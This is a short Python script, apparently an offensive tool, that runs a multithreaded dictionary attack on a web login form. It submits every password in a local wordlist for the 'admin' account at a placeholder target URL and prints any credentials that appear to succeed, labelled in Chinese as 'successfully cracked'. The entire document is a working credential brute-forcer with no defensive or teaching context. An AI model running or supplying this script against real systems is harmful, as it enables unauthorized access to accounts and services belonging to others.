import requests
from concurrent.futures import ThreadPoolExecutor
def try_login(url, username, password):
data = {"user": username, "pass": password}
r = requests.post(url, data=data)
if "Login failed" not in r.text:
print(f"成功破解: {username}:{password}")
with open("passwords.txt") as f:
passwords = [line.strip() for line in f]
with ThreadPoolExecutor(max_workers=10) as executor:
for pwd in passwords:
executor.submit(try_login, "http://target.com/login", "admin", pwd)